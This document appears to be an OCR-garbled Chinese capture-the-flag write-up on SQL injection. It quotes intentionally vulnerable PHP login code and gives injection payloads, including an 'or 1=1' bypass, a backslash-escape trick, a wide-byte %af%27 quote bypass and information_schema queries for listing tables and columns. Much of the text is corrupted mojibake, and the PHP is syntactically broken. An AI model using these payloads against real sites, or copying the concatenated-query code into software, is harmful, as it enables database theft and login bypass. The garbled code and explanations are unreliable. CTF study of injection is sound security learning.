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$_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST M . ':' . SAE_MYSQL_PORT,SAE_MYSQL USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass md5 (trim($_POST[pass]));
$sql="select user from ctf where (user=

.$user."") and (pw='".$pass.""')";
echo '</br>'.$sql;

$query = mysql_fetch_array(mysql_query($sql));

if($query[user]=="admin") {

echo "<p>LOgged ln' .Flag:******************** </p>";
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if($query[user] "admin") {
echo("<p>You are not admin!</p>");

form method=post action=index.php

input type=text name=user value="Username"
input type=password name=pass value="Password"
input type=submit

form

body
a href="index.phps">Source</a

html
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HIAK username N: ') or 1=1 #' , password FIUARFE, REMEEHEHLTH sql 86T :

select user from ctf where (user='")
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error_reporting(0);
require 'db.inc.php’;

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
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return htmlentities($str, ENT_QUOTES);
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$username = @clean((string)$ GET['username']);
$password = @clean((string)$ GET[ 'password']);

$query="SELECT * FROM users WHERE name=\'"'.$username.'\"' AND pass=\''.$password."'\"';";
$result=mysql_query($query);
if(!$result mysql_num_rows ($result) 1){

die('Invalid password!');
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echo $flag;
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At @ HRRNE KA LAREX « BHTERARBE, FTUEFIRRSZ EHRIEREAMH AL, HREEMLERT —TF
writeup BT T, KBTI name = ' BHRE—ANHS| S8 HE, XFE name FHE /MRS SHAEEHIR pass = ' B
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?Pusername=admin \&password= or 1=1 %23

BEEHEH LT query T

SELECT FROM users WHERE name='admin \' and password = ' 1-1
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select id, title from news where id 1
XA R E 1 sql 16, RATEEBEN VIR ZCER £ id K1E.
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select id, title from news where id "1 1=2
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H93E B 3X 2% sql AN AR :
?id=1%af%27and 1=2 %23
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R—MNFMmEEERFL, REHE T — MRS SHAARHMNES S, FHMTIMAE S sql EAT .

—HIRRER

SRIET M. CG-CTFHIGBK - injection

12 B8 2

B BIEE T MPTA RS

select group_concat(table name) from information_schema.tables where table_ schema=%f ZE %
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select group_concat(column_name) from information_schema.columns where table_name=3&#%

SREFT A KRB
select group_concat(FB%Z1, FE&#&2) from R4
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